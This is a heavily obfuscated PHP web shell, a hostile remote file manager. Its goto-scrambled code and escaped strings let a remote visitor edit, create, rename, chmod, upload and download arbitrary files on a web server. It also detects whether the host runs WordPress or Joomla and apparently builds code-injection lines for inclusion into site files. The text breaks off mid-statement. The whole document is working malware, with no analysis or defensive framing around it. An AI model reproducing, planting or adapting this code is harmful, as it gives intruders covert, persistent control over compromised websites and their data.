"\x3c\x61\40\x74\141\162\147\x65\x74\x3d\42\137\x62\x6c\x61\x6e\153\x22\x20\150\x72\x65\146\x3d\x22\150\x74\x74\x70\72\57\57{$iKJsi}\42\x3e\106\x69\154\145\40\x55\160\154\157\x61\144\145\x64\x21\x3c\x2f\141\76" . "\x3c\x2f\142\x3e\x3c\57\146\x6f\x6e\164\x3e"; goto al_Ge; GlN4t: bw5UM($WRsqg); goto usbXM; Xr_Uy: echo $bcoBe; goto dC3vt; S_PCO: l4k9e: goto MEUoa; oHGuY: $WRsqg = "\150\164\x74\160\72\x2f\57" . $tiXjA . $rH_un . "\x3f\x64\151\162\x3d" . $_SERVER["\104\x4f\103\125\115\105\x4e\124\137\x52\117\x4f\124"]; goto sEv2r; AIGwE: goto FiNWd; goto lt9Ny; L_zMi: echo "\74\x66\157\x6e\164\40\143\157\x6c\x6f\162\x3d\42\x72\145\144\42\76\103\141\156\x20\x6e\x6f\x74\40\x63\162\x65\141\164\145\41\74\x2f\146\157\x6e\164\76"; goto q7a80; j9Vvp: $oQDq2 = "\x40\151\x6e\x63\154\x75\144\x65\40\x22\x5c\170\x32"; goto Li1aH; TyPgJ: wyPiR: goto h1dM_; ufhIW: $uMTgE = $_GET["\144\157\167\x6e\x6c\x6f\x61\x64"]; goto aMTn9; NYfcJ: F9Jn3: goto pe57W; OsDqU: bY9Gv: goto CvnFF; gDpaI: mBLAe: goto JlVYR; wr6z_: gnXf4: goto RV5Zh; YVz_a: $tiXjA = $_SERVER["\123\x45\x52\126\105\x52\137\x4e\101\115\x45"]; goto fsTym; Jzm_I: cUngT: goto HKKM1; q3tvs: function KaFE1($yP63Y, $ZhIOY) { goto H8GlI; ZD3Dw: goto EuO60; goto UKWqJ; vnGpy: echo "\x3c\164\x65\170\x74\x61\x72\145\x61\x20\156\141\155\145\40\75\x20\x27\156\145\167\47\x20\x72\x6f\167\163\40\x3d\40\47\x32\x30\x27\40\x63\x6f\x6c\163\40\75\x20\x27\61\62\60\47\76" . $uVE1Y . "\74\57\164\145\170\x74\141\x72\x65\x61\76\74\142\x72\x3e\12"; goto tXYIT; tgGMv: if ($_POST["\143\150\x6d"] == "\60\64\x34\x34") { goto I2sHN; } goto UcZ_Y; k6U_k: $ukr3B = fopen($yP63Y, "\167"); goto FDsVZ; hH54i: b2Oae: goto ZWLEj; G0QMD: if (chmod($yP63Y, 0444)) { goto yM4kr; } goto c_oVw; sUMsf: echo "\x3c\151\156\160\x75\164\x20\164\171\160\145\x3d\42\163\165\142\155\151\x74\x22\40\x76\x61\154\165\145\75\x22\157\153\42\40\x2f\x3e\x3c\x2f\x66\157\162\155\x3e\74\57\x74\x64\76\74\x2f\x74\162\x3e\12"; goto xLs3f; iJBn_: goto cTe4a; goto yXb94; y1a8B: mE3AV: goto hYqZN; hSDfG: $RCJ7g = "\x3c\x66\157\x6e\x74\40\x63\x6f\x6c\x6f\162\x3d\x22\162\145\144\x22\x3e\x3c\x62\76\125\x6e\141\x62\x6c\145\40\x63\x68\x61\x6e\147\x65\x20\160\145\162\x6d\151\163\163\x69\157\156\41\x3c\57\x62\76\x3c\57\146\x6f\156\164\x3e"; goto emZot; u1RXl: echo "\x3c\164\162\x3e\x3c\x74\144\40\x61\154\x69\x67\156\75\42\x6c\145\x66\x74\42\x3e\74\x66\x6f\162\x6d\40\141\x63\x74\x69\x6f\156\40\75\40\x27\150\164\164\x70\72\57\x2f" . $ZhIOY . "\x3f\x65\144\x69\164\x3d" . $yP63Y . "\x26\144\151\162\75" . $h3fzG . "\47\40\155\145\x74\x68\157\x64\40\x3d\x20\47\120\x4f\x53\124\x27\76\xa"; goto PcqKS; Fm89Q: fclose($ukr3B); goto WFkVN; zGmVZ: $B_RMp = "\x20\55\40\x3c\146\157\156\x74\x20\x63\x6f\x6c\157\x72\75\42\x67\x72\x65\x65\156\42\x3e\x3c\142\x3e\105\x64\x69\x74\x65\144\41\x3c\57\142\x3e\x3c\x2f\146\157\x6e\x74\76"; goto yqj7X; p2Jnq: $uVE1Y = $_POST["\156\145\167"] . $uVE1Y; goto dFkxS; HnFqa: $uVE1Y = "\x63\141\x6e\47\164\x20\163\x68\x6f\x77"; goto FSjO8; Ug9z4: srade: goto PJ79K; c_oVw: return "\156\x6f\x20\150\x61\x76\x65\x20\160\145\162\x6d\x69\163\163\151\157\x6e\x20\146\x6f\x72\40\143\150\x6d\157\x64\x21"; goto ACVtN; fyYDR: $RCJ7g = "\74\146\x6f\x6e\x74\x20\143\157\154\x6f\162\75\x22\x67\162\x65\x65\x6e\x22\76\74\142\x3e\120\145\162\155\151\163\x73\151\157\x6e\40\143\x68\141\x6e\147\145\x64\41\x3c\x2f\142\x3e\74\57\x66\x6f\156\x74\x3e"; goto u4zu9; p7lVx: fclose($ukr3B); goto G0QMD; X3_ML: $uVE1Y = str_replace("\74\164\x65\170\x74\x61\162\x65\141\x3e", "\74\164\x65\170\x74\x61\x72\145\x61\x3e", $uVE1Y); goto PmD8y; rEKJH: if (chmod($yP63Y, 0444)) { goto q1SqV; } goto juzL0; AJV1H: goto yHIcm; goto oByT_; xLs3f: uO2cR: goto RMtT3; FNn5T: JxiRZ: goto SfDMo; kaLFn: echo "\74\x74\x65\x78\164\x61\162\145\x61\40\x6e\x61\155\145\x20\75\40\x27\156\145\167\x27\x20\x72\x6f\167\x73\x20\x3d\x20\x27\x32\60\47\x20\143\157\x6c\163\x20\x3d\40\47\61\x32\x30\x27\x3e" . $uVE1Y . "\x3c\x2f\164\x65\x78\x74\x61\162\145\x61\76\74\x62\x72\x3e\xa"; goto FT1CZ; Nf4RM: if (chmod($yP63Y, 0444)) { goto JxiRZ; } goto jbAEi; udin1: pW43Q: goto tbHrj; tXYIT: echo "\x3c\x64\x69\166\x20\141\154\151\x67\x6e\75\42\x72\151\147\150\x74\x22\76\x3c\x62\x72\76\x3c\151\156\160\165\x74\x20\x74\x79\x70\x65\40\75\x20\x27\x73\165\142\x6d\x69\164\47\x20\x76\141\154\x75\x65\x20\75\x20\47\x53\x61\x76\x65\47\76\74\x2f\144\x69\166\76\x3c\57\146\157\x72\x6d\x3e\x3c\x2f\164\144\x3e\74\x2f\x74\x72\x3e\12"; goto u1RXl; dQQsL: goto uO2cR; goto Ze4sz; MuyRr: bgvsH: goto Uf9Rd; OY9vS: echo "\74\151\x6e\160\165\164\x20\164\171\160\x65\75\42\164\x65\x78\164\x22\40\156\x61\x6d\145\75\x27\x6e\137\156\141\x6d\145\47\x20\x73\151\x7a\145\75\x22\x37\62\x22\40\x76\141\x6c\165\x65\75\x22{$yP63Y}\42\x3e"; goto wG1Mq; jbAEi: $RCJ7g = "\x3c\x66\x6f\156\x74\40\x63\157\154\157\162\75\42\x72\145\144\42\x3e\x3c\x62\x3e\125\156\x61\x62\x6c\145\x20\143\x68\141\156\147\145\x20\x70\145\x72\x6d\151\x73\x73\x69\157\156\x21\74\x2f\142\76\74\x2f\146\x6f\156\164\76"; goto h0J6J; yXb94: iyFQz: goto YWeyC; XirwY: return "\x6e\157\x20\150\x61\x76\145\40\160\x65\x72\x6d\x69\163\163\151\157\156\40\146\x6f\x72\40\x63\x68\155\157\144\41"; goto udin1; ju28P: echo "\x3c\164\162\76\x3c\x74\144\40\141\154\x69\147\156\x3d\42\154\x65\146\x74\x22\x3e\x3c\146\x6f\162\x6d\40\141\x63\x74\151\157\156\x20\x3d\40\47\150\x74\x74\x70\x3a\57\57" . $ZhIOY . "\77\145\144\151\164\x3d" . $yP63Y . "\x26\x64\151\162\x3d" . $h3fzG . "\47\x20\x6d\x65\x74\x68\157\x64\x20\75\x20\x27\120\117\123\124\47\76\xa"; goto Y9YLq; EhthX: if (!empty($_POST["\156\x65\x77\137\x72\145\155\x6f\164\145"])) { goto gr1oO; } goto wwyXO; zWG3L: if ($_POST["\x63\150\155"] == "\60\67\x35\65") { goto TH0xO; } goto tgGMv; epiRS: yHIcm: goto dQQsL; LimAY: $RCJ7g = "\74\x66\157\156\164\40\x63\157\x6c\157\x72\75\42\x67\162\145\x65\156\x22\76\74\142\x3e\x50\x65\162\155\x69\x73\163\151\x6f\156\40\143\x68\141\x6e\147\145\x64\x21\74\57\x62\x3e\74\57\146\157\156\164\76"; goto zicnh; oQHIP: goto k2dM1; goto zwh2k; O08bo: bFlyF: goto j4qp4; H8GlI: if (empty($_POST["\x63\x68\x6d"])) { goto mzeNU; } goto zWG3L; wwyXO: if (chmod($yP63Y, 0755)) { goto iG3pZ; } goto jnOnm; jbxj1: goto srade; goto hH54i; c6GJZ: $uVE1Y = fread($ukr3B, filesize($yP63Y)); goto VjjEv; YWeyC: if (!($ukr3B = fopen($yP63Y, "\162"))) { goto RfRW9; } goto c6GJZ; jnOnm: return "\x6e\157\x20\x68\x61\x76\145\40\160\145\x72\155\151\163\163\151\x6f\x6e\40\x66\157\x72\x20\143\x68\x6d\x6f\144\x21"; goto wCZcx; hHMyS: TH0xO: goto Cq6Fc; dFkxS: $ukr3B = fopen($yP63Y, "\x77"); goto Q3yfs; DGk9U: s6a0Y: goto zGmVZ; oByT_: q1SqV: goto VI5tK; VI5tK: $sN_P3 = "\74\x66\x6f\x6e\164\x20\143\157\x6c\157\162\x3d\42\147\162\145\x65\x6e\x22\76\74\142\76\x50\x65\162\155\x69\x73\163\151\x6f\156\40\x63\150\141\156\x67\x65\144\41\x3c\x2f\142\x3e\x3c\57\146\157\x6e\164\x3e"; goto epiRS; QS_xH: $iTNc1 = strripos($yP63Y, "\x2f"); goto j0QHU; SfDMo: $RCJ7g = "\74\146\157\156\x74\x20\x63\x6f\154\157\x72\75\42\147\162\x65\x65\x6e\x22\76\x3c\x62\76\120\x65\x72\x6d\x69\163\163\151\157\x6e\40\x63\150\x61\x6e\x67\145\144\x21\74\57\x62\x3e\x3c\x2f\x66\157\156\164\x3e"; goto MuyRr; ZNQc0: if (file_exists($yP63Y) and filesize($yP63Y) > 1) { goto iyFQz; } goto an7fy; UKWqJ: RfRW9: goto AGO8q; UcZ_Y: if ($_POST["\x63\x68\x6d"] == "\60\x36\64\x34") { goto ENkNn; } goto sNZIN; FDsVZ: if (fwrite($ukr3B, $_POST["\156\x65\x77"])) { goto b2Oae; } goto d9kLK; FLbVK: $uVE1Y = fread($ukr3B, filesize($yP63Y)); goto Fm89Q; zicnh: LuRTw: goto y1a8B; VjjEv: fclose($ukr3B); goto ZD3Dw; Uf9Rd: goto mE3AV; goto obP6a; rSF1c: mzeNU: goto xwdpD; j0QHU: $h3fzG = substr_replace($yP63Y, '', $iTNc1, 99999); goto ZNQc0; Mp2pc: echo "\x3c\151\x6e\x70\165\164\x20\164\x79\160\x65\x3d\x22\163\165\142\x6d\151\x74\42\x20\x76\141\x6c\x75\145\75\x22\x6f\153\42\40\x2f\x3e\x3c\57\x66\x6f\162\155\x3e\74\57\x74\144\x3e\xa"; goto K0Jsr; hgsTm: echo "\x3c\151\x6e\x70\x75\x74\40\164\171\160\x65\x3d\x22\164\x65\x78\x74\42\40\156\x61\x6d\x65\x3d\47\156\x5f\x6e\x61\155\145\47\40\163\x69\172\145\75\42\x37\x32\x22\40\x76\x61\154\x75\x65\75\x22{$yP63Y}\42\76"; goto sUMsf; CRyJr: $ukr3B = fopen($yP63Y, "\x72"); goto FLbVK; akqjy: goto ysiLF; goto DGk9U; QqH5I: gr1oO: goto zYdaU; PmD8y: $uVE1Y = htmlspecialchars($uVE1Y); goto umr3P; oY2iG: PSOLX: goto LimAY; xwdpD: if (empty($_POST["\156\x65\x77"])) { goto doQ1v; } goto EhthX; hYqZN: echo $RCJ7g; goto rSF1c; w1cul: goto mE3AV; goto OTleb; QkbVT: echo "\106\151\x6c\x65\72\40" . $yP63Y . $B_RMp . "\x3c\x62\162\76\xa"; goto kaLFn; Q3yfs: if (fwrite($ukr3B, $uVE1Y)) { goto s6a0Y; } goto wnNIG; PJ79K: fclose($ukr3B); goto hU37H; u4zu9: k2dM1: goto w1cul; d9kLK: $B_RMp = "\x20\x2d\40\74\146\157\x6e\164\40\x63\x6f\x6c\157\x72\x3d\x22\162\145\144\42\76\74\x62\76\x55\x6e\x61\142\154\x65\40\164\x6f\x20\145\x64\151\x74\x21\x3c\57\x62\76\x3c\x2f\x66\157\156\164\76"; goto jbxj1; IHKhI: goto mE3AV; goto hHMyS; juzL0: $sN_P3 = "\x3c\146\157\x6e\x74\x20\x63\x6f\154\157\162\75\x22\x72\x65\144\x22\76\x3c\x62\x3e\x55\x6e\x61\x62\154\145\40\x63\150\x61\x6e\147\145\x20\x70\145\x72\155\x69\163\163\x69\x6f\x6e\41\x3c\57\x62\x3e\x3c\57\x66\x6f\x6e\164\x3e"; goto AJV1H; Wn7zA: cTe4a: goto X3_ML; hU37H: goto bFlyF; goto QqH5I; gYOHL: echo "\106\x69\154\x65\x3a\x20" . $yP63Y . "\74\142\x72\x3e\12"; goto vnGpy; T0o8l: $RCJ7g = "\x3c\146\x6f\156\164\40\x63\x6f\x6c\157\162\75\42\162\x65\x64\42\x3e\x3c\x62\x3e\x55\156\141\142\154\x65\x20\143\x68\x61\156\147\x65\40\x70\x65\x72\155\151\x73\163\151\x6f\156\x21\x3c\57\x62\x3e\x3c\57\x66\157\156\x74\x3e"; goto oQHIP; wCZcx: iG3pZ: goto k6U_k; zwh2k: s7tAK: goto fyYDR; K0Jsr: echo "\74\x74\144\40\x63\157\x6c\163\160\141\x6e\75\42\x33\42\x20\x61\154\151\x67\x6e\75\42\x6c\145\x66\x74\42\x3e\74\146\157\x72\x6d\40\x61\x63\164\x69\x6f\x6e\x20\x3d\x20\x27\150\164\x74\160\72\x2f\x2f" . $ZhIOY . "\x3f\162\x65\156\141\x6d\x65\75" . $yP63Y . "\x26\x64\x69\162\x3d" . $h3fzG . "\x27\40\x6d\145\164\150\x6f\144\x20\x3d\x20\47\120\117\x53\124\x27\76\12"; goto OY9vS; wG1Mq: echo "\74\151\x6e\160\165\x74\x20\x74\171\x70\145\x3d\x22\x73\x75\x62\155\151\164\x22\x20\166\141\x6c\165\145\75\42\157\x6b\42\x20\57\76\x3c\57\x66\157\162\155\76\74\57\164\144\76\74\x2f\x74\162\x3e\12"; goto rEKJH; y9PqV: $h3fzG = substr_replace($yP63Y, '', $iTNc1, 99999); goto CRyJr; yqj7X: ysiLF: goto p7lVx; tbHrj: $uVE1Y = DqysG($yP63Y); goto p2Jnq; zYdaU: if (chmod($yP63Y, 0755)) { goto pW43Q; } goto XirwY; obP6a: ENkNn: goto omJhJ; PcqKS: echo "\74\151\156\x70\165\164\x20\x6e\x61\155\145\75\x22\x63\150\x6d\x22\40\163\151\172\145\x3d\x22\64\42\x20\164\x79\x70\145\75\42\164\x65\170\164\x22\x20\160\x6c\141\x63\145\x68\x6f\x6c\x64\145\x72\75\42" . qFocs($yP63Y, "\61") . "\42\57\x3e"; goto nDnVc; emZot: goto LuRTw; goto oY2iG; AGO8q: echo "\x6e\x6f\x20\150\x61\166\x65\x20\160\x65\162\x6d\x69\163\x73\151\157\156\74\142\x72\x3e"; goto HnFqa; Cq6Fc: if (chmod($yP63Y, 0755)) { goto s7tAK; } goto T0o8l; j4qp4: $iTNc1 = strripos($yP63Y, "\x2f"); goto y9PqV; nDnVc: echo "\x3c\x69\156\160\x75\x74\40\164\171\x70\x65\75\42\x73\x75\142\x6d\x69\164\42\x20\x76\141\x6c\165\145\75\42\x6f\153\42\x20\57\x3e\x3c\57\x66\157\x72\x6d\x3e\74\x2f\164\144\x3e\xa"; goto UyEYP; ACVtN: yM4kr: goto O08bo; WFkVN: $uVE1Y = str_replace("\x3c\x74\x65\x78\x74\141\x72\x65\141\x3e", "\x3c\x74\x65\170\x74\x61\162\145\141\x3e", $uVE1Y); goto tDdQO; FT1CZ: echo "\74\x64\x69\x76\x20\141\x6c\151\x67\x6e\75\42\x72\x69\147\x68\164\x22\76\x3c\x62\162\x3e\x3c\151\156\x70\165\164\40\164\x79\x70\145\x20\x3d\40\x27\x73\165\142\155\151\x74\47\x20\166\141\154\x75\145\x20\x3d\40\x27\x53\x61\166\145\x27\76\x3c\x2f\x64\x69\x76\76\x3c\x2f\146\157\162\155\x3e\x3c\x2f\164\144\x3e\74\x2f\x74\162\x3e\xa"; goto ju28P; FSjO8: EuO60: goto Wn7zA; omJhJ: if (chmod($yP63Y, 0644)) { goto PSOLX; } goto hSDfG; OTleb: I2sHN: goto Nf4RM; tDdQO: echo "\x3c\164\x72\x3e\x3c\x74\144\40\141\x6c\x69\x67\156\75\42\143\x65\156\164\145\x72\42\40\143\157\154\163\160\141\x6e\75\42\x35\42\76\74\x66\x6f\x72\155\x20\x61\143\x74\151\x6f\156\x20\75\40\x27\x68\164\164\x70\72\57\57" . $ZhIOY . "\77\145\144\151\164\x3d" . $yP63Y . "\x26\x64\x69\162\75" . $h3fzG . "\47\x20\x6d\x65\164\x68\x6f\x64\40\75\40\x27\120\117\x53\x54\x27\76\12"; goto QkbVT; umr3P: echo "\x3c\164\x72\x3e\74\x74\144\40\x61\154\151\x67\156\x3d\42\143\x65\x6e\x74\x65\x72\42\x20\143\157\x6c\x73\160\x61\x6e\x3d\42\x35\42\x3e\x3c\146\157\162\155\x20\141\143\x74\x69\157\x6e\40\75\40\47\150\x74\164\x70\x3a\x2f\x2f" . $ZhIOY . "\77\x65\144\x69\x74\75" . $yP63Y . "\x26\x64\x69\162\75" . $h3fzG . "\x27\40\x6d\x65\x74\150\x6f\x64\40\75\x20\47\120\x4f\123\124\47\76\12"; goto gYOHL; Y9YLq: echo "\x3c\151\156\160\165\x74\x20\156\x61\x6d\145\75\x22\x63\x68\155\42\40\163\151\x7a\x65\75\42\x34\x22\x20\x74\x79\x70\x65\75\42\x74\x65\170\x74\42\x20\160\x6c\141\143\x65\150\x6f\x6c\x64\145\162\75\42" . qFoCS($yP63Y, "\61") . "\x22\x2f\76"; goto Mp2pc; sNZIN: $RCJ7g = "\60\x37\65\65\x3c\142\162\76\x30\64\x34\x34\74\142\x72\76\60\66\64\x34\74\142\x72\76"; goto IHKhI; an7fy: $uVE1Y = ''; goto iJBn_; ZWLEj: $B_RMp = "\40\55\40\74\146\157\x6e\164\x20\143\157\154\x6f\162\75\x22\x67\162\x65\145\x6e\x22\x3e\x3c\x62\x3e\x45\144\x69\x74\x65\x64\41\x3c\x2f\142\x3e\x3c\x2f\146\x6f\x6e\164\x3e"; goto Ug9z4; wnNIG: $B_RMp = "\40\x2d\x20\x3c\x66\157\156\x74\x20\143\157\x6c\x6f\162\x3d\x22\162\x65\x64\x22\x3e\74\x62\76\125\x6e\x61\x62\154\145\x20\164\x6f\40\x65\x64\x69\x74\41\x3c\57\x62\x3e\x3c\57\x66\157\156\164\x3e"; goto akqjy; h0J6J: goto bgvsH; goto FNn5T; UyEYP: echo "\74\164\x64\x20\x63\x6f\154\163\160\141\156\x3d\x22\x33\x22\x20\x61\154\x69\147\156\x3d\42\154\x65\x66\164\42\76\x3c\x66\157\162\x6d\40\141\x63\x74\x69\157\x6e\x20\x3d\40\x27\150\x74\164\x70\72\57\x2f" . $ZhIOY . "\x3f\x72\145\x6e\x61\x6d\x65\75" . $yP63Y . "\46\144\151\162\75" . $h3fzG . "\47\x20\155\145\x74\150\x6f\x64\40\x3d\40\x27\120\117\x53\124\47\x3e\12"; goto hgsTm; Ze4sz: doQ1v: goto QS_xH; RMtT3: } goto Z5dSH; gjdvd: readfile($_GET["\144\x6f\167\x6e\x6c\157\x61\x64"]); goto vls77; c2ocp: $ZhIOY = $tiXjA . $rH_un; goto Mgj0L; U63A4: goto O5_ey; goto lpqUu; PpdKu: if (empty($_POST["\x6e\x65\x77\x5f\x66\x69\154\x65"]) and empty($_POST["\163\145\x61\162\x63\150\137\146\x69\x6c\145"]) and empty($_POST["\156\x65\167\x5f\x64\x69\162"])) { goto qCiFg; } goto lYLKg; jEKHD: function orR_E($nHLgd) { goto QkdIZ; QkdIZ: $aTYtm = $nHLgd; goto rZKS1; fNXZp: $SPb_q = array(); goto uW6A6; YsQjV: G1q6z: goto LJK5t; Z_2qU: rgiaL: goto I37QY; wrjta: goto G1q6z; goto Z_2qU; I37QY: $yP63Y = fopen($aTYtm, "\x72\x74"); goto PfYYf; AurB7: fclose($yP63Y); goto oGluw; uW6A6: return $SPb_q; goto wrjta; rZKS1: if (file_exists($nHLgd) and filesize($nHLgd) > 1) { goto rgiaL; } goto fNXZp; oGluw: return $SPb_q; goto YsQjV; PfYYf: $SPb_q = explode("\12", fread($yP63Y, filesize($aTYtm))); goto AurB7; LJK5t: } goto w_Xwu; H9jzH: A6Feg: goto bMWur; ZEnt1: if (!isset($_GET["\x65\x64\x69\x74"])) { goto qNpRI; } goto c2ocp; T90c0: if (!($lTJFo < 900)) { goto On1YF; } goto KrbIO; n1flM: lrDxO: goto GlN4t; hK2iH: header("\x45\x78\x70\151\162\x65\163\x3a\40\60"); goto vnUYp; UUskC: if (isset($_GET["\x64\x69\162"])) { goto dbkoo; } goto RcEWd; CiU08: foreach ($INQmn as $aRFcW) { goto PnHo9; RMHil: rD2DT: goto TSLkA; C3JSG: fwrite($P0O_u, $aRFcW . "\xa"); goto RMHil; TSLkA: zEYXQ: goto Vjc6U; PnHo9: if (!($aRFcW !== $_SERVER["\123\x43\x52\x49\120\x54\137\106\x49\x4c\x45\x4e\x41\x4d\x45"])) { goto rD2DT; } goto C3JSG; Vjc6U: } goto OqYa4; Sek0a: L4F8M: goto mSAkp; iMowY: qNpRI: goto MyG8B; re1HG: header("\x50\162\x61\147\x6d\x61\72\40\160\x75\142\154\151\143"); goto i76K3; Li1aH: $Cn1lH = "\x24\x4f\117"; goto ZUqzD; AyGhX: $i5DCx = 0; goto zgXNM; SXqoj: $WRsqg = "\150\164\164\160\72\57\57" . $tiXjA . $rH_un . "\x3f\x64\x69\x72\75" . $_GET["\x64\x69\x72"] . "\46\145\144\151\x74\75" . $IPQ4C; goto OVJlZ; T1G8V: $pCROI = $YH3Np; goto QJTPD; usbXM: foreach ($YKCxh as $HvRhX) { goto em3nU; z0ZLv: if (!($aBE0N !== false)) { goto GS2Gr; } goto K4t6_; K4t6_: $ng2Fq = F6HoI($HvRhX); goto TLza2; em3nU: $aBE0N = stristr($HvRhX, $iecrC); goto z0ZLv; xlQSv: echo "\x3c\x74\x72\x20\142\x67\x63\x6f\154\157\162\75\x22\x23\146\x66\x66\x66\146\x66\x22\40\141\x6c\x69\147\x6e\75\x22\143\145\156\x74\145\x72\x22\x3e\74\x74\144\x20\x61\154\151\x67\156\75\42\x6c\145\x66\x74\x22\40\76" . "\x3c\141\40\x73\164\x79\x6c\145\x3d\x22\164\145\170\x74\x2d\144\145\143\157\x72\x61\164\x69\x6f\x6e\72\40\156\157\156\145\73\x22\40\x68\162\x65\x66\x3d\x22\150\x74\x74\x70\72\x2f\57{$tiXjA}{$rH_un}\x3f\x65\x64\151\164\75{$HvRhX}\x26\x64\151\x72\75{$WdlM7}\42\76\x3c\x66\x6f\156\x74\40\x63\157\x6c\x6f\162\75\42\142\154\141\x63\x6b\x22\76{$HvRhX}\x3c\x2f\146\x6f\x6e\164\76\x3c\x2f\x61\76" . "\74\x2f\x74\x64\x3e\x3c\x74\144\x3e" . Dj8zX($HvRhX) . "\x3c\x2f\164\x64\76\74\164\x64\x3e{$ng2Fq}\74\57\164\144\x3e\x3c\164\x64\76" . Qfocs($HvRhX, "\x30") . "\x3c\x2f\164\x64\x3e\74\164\x64\x3e" . "\x3c\141\x20\150\162\x65\x66\75\42\x68\x74\x74\160\x3a\57\x2f{$tiXjA}{$rH_un}\77\144\x65\154\75{$HvRhX}\x26\144\x69\162\75{$WdlM7}\42\x3e\x55\74\57\x61\76\46\156\x62\163\x70\73" . "\x3c\141\40\x68\162\x65\x66\75\42\150\x74\164\x70\72\57\57{$tiXjA}{$rH_un}\x3f\145\144\151\x74\75{$HvRhX}\x26\144\151\x72\75{$WdlM7}\x22\76\105\74\57\x61\76\x26\x6e\x62\163\160\x3b" . "\74\x61\x20\164\x61\162\x67\145\x74\75\x22\x5f\142\154\141\156\153\x22\40\150\162\x65\x66\x3d\x22\x68\164\x74\160\x3a\57\x2f{$pz23y}\42\76\x4f\74\x2f\141\x3e\46\156\142\x73\x70\x3b" . "\74\x61\40\150\x72\145\146\x3d\x22\x68\x74\164\160\72\x2f\57{$tiXjA}{$rH_un}\x3f\144\x6f\167\x6e\154\157\141\x64\75{$HvRhX}\x26\144\151\162\x3d{$WdlM7}\x22\x3e\104\x3c\57\x61\76" . "\74\57\x74\144\x3e\x3c\57\164\162\76"; goto wJ4ST; wJ4ST: GS2Gr: goto KtMQC; KtMQC: lXjTg: goto iwXD4; TLza2: $pz23y = str_replace($_SERVER["\104\x4f\103\x55\x4d\x45\x4e\x54\137\x52\x4f\117\124"], $_SERVER["\123\x45\122\126\x45\x52\x5f\116\x41\115\x45"], $HvRhX); goto xlQSv; iwXD4: } goto oXy1N; HKKM1: $fGyii = 1; goto PZ0SL; CSa4F: eVo64: goto fQLm8; MNGK8: if ($ukr3B = fopen($YH3Np, "\167")) { goto fNaOH; } goto L_zMi; DBso8: k4Ell: goto vTut2; Qqaej: wQxks: goto pHWij; QJTPD: $fGyii = 1; goto S9BlA; B3D12: fVRtg: goto KYFNM; VLOb9: function iXvY1() { goto s_NIn; s_NIn: if (is_dir($_SERVER["\x44\117\x43\125\x4d\x45\116\124\x5f\122\x4f\x4f\x54"] . "\x2f\x61\x64\x6d\x69\x6e\151\x73\x74\x72\141\164\x6f\162\x2f") and is_dir($_SERVER["\104\x4f\103\125\x4d\105\116\124\x5f\122\117\117\124"] . "\57\x63\157\155\x70\157\x6e\145\x6e\x74\x73\57") and is_dir($_SERVER["\104\x4f\103\125\x4d\105\116\x54\137\x52\x4f\x4f\124"] . "\x2f\151\x6e\143\154\165\144\x65\163\57")) { goto huyl0; } goto v5ldT; QSkwJ: goto B31RW; goto qGoL3; HHLJZ: PeFez: goto vzesj; qGoL3: huyl0: goto RhGLs; RhGLs: return "\x4a\157\157\x6d\154\141\41"; goto rL3PK; vzesj: return "\127\157\x72\x64\120\162\x65\163\163"; goto CJDpv; CJDpv: B31RW: goto HUzbl; XTeJY: return "\125\x6e\x6b\x6e\x6f\x77\156"; goto QSkwJ; v5ldT: if (is_dir($_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\137\x52\x4f\x4f\124"] . "\57\x77\x70\x2d\143\157\156\x74\145\x6e\164\x2f") and is_dir($_SERVER["\x44\x4f\103\x55\x4d\x45\116\x54\137\122\117\117\124"] . "\57\167\x70\x2d\x61\144\155\151\x6e\57") and is_dir($_SERVER["\x44\117\103\125\x4d\105\116\124\137\122\117\x4f\x54"] . "\57\x77\160\x2d\151\x6e\143\154\165\x64\145\x73\x2f")) { goto PeFez; } goto XTeJY; rL3PK: goto B31RW; goto HHLJZ; HUzbl: } goto RcTE4; Dx3gP: function dJ8ZX($yP63Y) { goto cDHp8; ST29l: return $h3eEw . "\x20\x6b\142"; goto TDExp; Zvf0M: goto e6kvl; goto LgjhG; YZkxS: $h3eEw = round($h3eEw, 1); goto j0_ag; N7183: return $h3eEw . "\40\142"; goto dQNOt; j0_ag: return $h3eEw . "\40\155\x62"; goto Zvf0M; TDExp: goto VZaHX; goto t2j9J; FVMvQ: if ($h3eEw > 1024) { goto BYQRO; } goto VPcIW; eRYu7: $h3eEw = filesize($yP63Y); goto FVMvQ; Z_ZIA: ki8oY: goto HYPoy; mUpcY: $h3eEw = round($h3eEw, 1); goto ST29l; LgjhG: QoEi7: goto RcRx3; ypiqU: if ($h3eEw > 1024) { goto AJwYH; } goto mUpcY; dQNOt: goto ki8oY; goto rQlXi; VPcIW: $h3eEw = round($h3eEw, 1); goto N7183; oS65a: $h3eEw = round($h3eEw, 1); goto DYeAk; DYeAk: return $h3eEw . "\40\x67\x62"; goto MenRv; rQlXi: BYQRO: goto Q0bp2; TjAdy: $h3eEw = $h3eEw / 1024; goto xPG8w; Q0bp2: $h3eEw = $h3eEw / 1024; goto ypiqU; xPG8w: if ($h3eEw > 1024) { goto QoEi7; } goto YZkxS; nzuGj: return "\xd0\244\xd0\260\xd0\xb9\xd0\273\x20\40\xd0\275\xd0\xb5\x20\xd0\xbd\xd0\xb0\xd0\xb9\320\264\320\265\320\275"; goto yo3S9; RcRx3: $h3eEw = $h3eEw / 1024; goto oS65a; cDHp8: if (file_exists($yP63Y)) { goto RpEaS; } goto nzuGj; t2j9J: AJwYH: goto TjAdy; yo3S9: RpEaS: goto eRYu7; MenRv: e6kvl: goto Vf2uy; Vf2uy: VZaHX: goto Z_ZIA; HYPoy: } goto kCOTz; EumIN: CIhmj: goto eFPJn; DDSre: goto VWAvR; goto rHqDe; Mgj0L: kAFE1($_GET["\x65\x64\x69\x74"], $ZhIOY); goto iMowY; wOdPJ: echo $E26bx; goto wr6z_; lSv0U: if (!file_exists($XJm0F)) { goto ughcS; } goto cX0nh; EEKW8: $EexMY = "\146\x69\154\145\137\147\x65\164\x5f\143\157\156\x74\x65\156\x74\x73\x28\x5c\x22\x2e\56\57\151\156\144\x65\170\56\160\150\x70\134\x22\x29\x22"; goto W3HOG; CPd2j: echo "\x3c\74\x69\x6e\x66\157\76\x3e"; goto GxcqR; KW5Mh: $xCcCg = array(); goto T1G8V; KmHM8: echo "\x65\162\x72\x6f\x72\72\x20\146\x69\154\145\40\146\x69\156\144\145\162\144\141\164\x61\56\164\170\x74\40\x63\141\x6e\x20\156\x6f\x74\40\143\162\x65\141\x74\x65"; goto DDSre; nqF4o: IiCg1: goto PpdKu; RN4OF: $YH3Np = $_SERVER["\x44\x4f\103\125\x4d\105\x4e\x54\x5f\x52\x4f\117\x54"] . "\57" . $_POST["\156\x65\167\x5f\x64\151\x72"]; goto iOdJJ; E3235: if 